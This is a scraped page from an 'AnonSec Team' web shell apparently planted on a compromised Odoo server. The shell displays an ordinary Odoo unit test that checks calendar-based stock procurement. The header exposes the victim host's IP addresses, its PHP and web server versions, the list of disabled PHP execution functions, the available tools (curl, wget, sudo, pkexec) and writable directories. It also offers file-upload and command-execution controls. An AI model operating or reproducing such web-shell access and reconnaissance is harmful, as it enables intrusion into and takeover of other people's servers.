Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.116.170.100
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/stock_calendar/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/stock_calendar/tests/test_stock_calendar.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from datetime import datetime, timedelta

from odoo import fields
from odoo.tests import common


class TestsStockCalendar(common.TransactionCase):

    def setUp(self):
        super(TestsStockCalendar, self).setUp()

        # Create a partner
        self.stock_warehouse0_id = self.ref('stock.warehouse0')
        self.purchase_route_warehouse0_buy_id = self.ref('purchase.route_warehouse0_buy')
        self.stock_picking_type_out_id = self.ref('stock.picking_type_out')
        self.stock_location_id = self.ref('stock.stock_location_stock')
        self.stock_location_customer_id = self.ref('stock.stock_location_customers')

        self.res_partner_id = self.env['res.partner'].create({
            'name': 'Supplier',
            'supplier': 1
        })

        # Create a calendar
        self.resource_calendar_id = self.env['resource.calendar'].create({
            'name': 'Calendar',
            'attendance_ids': [(0, 0, {
                'name': 'Thursday',
                'dayofweek': '3',
                'hour_from': 8,
                'hour_to': 9
            })]
        })

        # Create a product A with orderpoint with a calendar
        self.calendar_product_id = self.env['product.product'].create({
            'name': 'Calendar Product',
            'seller_ids': [(0, 0, {
                'name': self.res_partner_id.id,
                'delay': 1
            })],
            'orderpoint_ids': [(0, 0, {
                'name': 'Product A Truck',
                'calendar_id': self.resource_calendar_id.id,
                'product_min_qty': 0,
                'product_max_qty': 10,
                'warehouse_id': self.stock_warehouse0_id
            })]
        })

        # Create delivery order with product A
        self.pick_out_calendar = self._create_stock_picking('Delivery order for procurement', self.calendar_product_id.name, 3.00)

        # Create other delivery order with product A that we will give a later date afterwards (date between the two)
        self.pick_out_calendar2 = self._create_stock_picking('Delivery order for procurement2', 'stock_move_2', 4.00)

        # Create other delivery order with product A that we will give an even later date, so it should not be taken into account
        self.pick_out_calendar3 = self._create_stock_picking('Delivery order for procurement3', 'stock_move_3', 11.00)

    def _create_stock_picking(self, pickname, movelinename, productqty):
        return self.env['stock.picking'].create({
            'name': pickname,
            'partner_id': self.res_partner_id.id,
            'picking_type_id': self.stock_picking_type_out_id,
            'location_id': self.stock_location_id,
            'location_dest_id': self.stock_location_customer_id,
            'move_lines': [(0, 0, {'name': movelinename,
                                   'product_id': self.calendar_product_id.id,
                                   'product_uom': self.calendar_product_id.uom_id.id,
                                   'product_uom_qty': productqty,
                                   'location_id': self.stock_location_id,
                                   'location_dest_id': self.stock_location_customer_id,
                                   'procure_method': 'make_to_stock'})]
        })

    def test_stock_calendar(self):
        # Put different dates in pickings, confirm them, run schedulers and check that the procurement generated by the
        # orderpoint is taking the calendar into account.  Make sure also that the purchase order creates a datetime.
        self.calendar_product_id.write({'route_ids': [(4, self.purchase_route_warehouse0_buy_id)]})
        today8 = datetime.now() + timedelta(days=7)
        today21 = datetime.now() + timedelta(days=21)
        self.pick_out_calendar2.move_lines.write({'date': fields.Datetime.to_string(today8), 'date_expected': fields.Datetime.to_string(today8)})
        self.pick_out_calendar3.move_lines.write({'date_expected': fields.Datetime.to_string(today21), 'date': fields.Datetime.to_string(today21)})

        # We need to confirm pickings and run the schedulers
        self.pick_out_calendar.action_confirm()
        self.pick_out_calendar2.action_confirm()
        self.pick_out_calendar3.action_confirm()

        # Check .procurements generated
        Procurementorder = self.env['procurement.order']
        Procurementorder.run_scheduler()
        procurement = Procurementorder.search([('product_id', '=', self.calendar_product_id.id)], limit=1)
        self.assertEqual(len(procurement), 1, 'should have one procurement')
        self.assertEqual(procurement.product_qty, 17, 'It should have taken the two first pickings into account for the virtual stock for the orderpoint, not the third')
        self.assertEqual(fields.Datetime.from_string(procurement.next_delivery_date).weekday(), 3, 'The next delivery date should be on a Thursday')
        purchase_line_id_date_planned = fields.Datetime.from_string(procurement.purchase_line_id.date_planned).weekday()
        self.assertEqual(purchase_line_id_date_planned, 3, 'Check it has been put on the purchase line also, got %d' % purchase_line_id_date_planned)

Anon7 - 2022
AnonSec Team